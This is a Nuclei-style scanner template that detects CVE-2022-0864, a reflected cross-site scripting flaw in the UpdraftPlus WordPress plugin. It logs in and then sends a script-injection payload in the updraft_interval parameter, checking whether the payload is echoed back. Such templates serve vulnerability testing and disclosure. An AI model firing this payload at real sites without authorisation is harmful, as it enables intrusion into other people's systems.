id: CVE-2022-0864

info:
  name: UpdraftPlus < 1.22.9 - Cross-Site Scripting
  author: DhiyaneshDk
  severity: medium
  description: |
    The plugin does not sanitise and escape the updraft_interval parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting (XSS) vulnerability.
  reference:
    - https://wpscan.com/vulnerability/7337543f-4c2c-4365-aebf-3423e9d2f872
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0864
    - https://wordpress.org/plugins/updraftplus
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0864
    cwe-id: CWE-79
    epss-score: 0.00359
    cpe: cpe:2.3:a:updraftplus:updraftplus:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    verified: true
    framework: wordpress
    vendor: 'updraftplus'
    product: 'updraftplus'
  tags: cve2022,xss,authenticated,updraftplus,wpscan,cve,wp-plugin,wp,wordpress

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/options-general.php?page=updraftplus&updraft_interval"></script><script>confirm(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>confirm(document.domain)</script>'
          - 'updraftplus'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200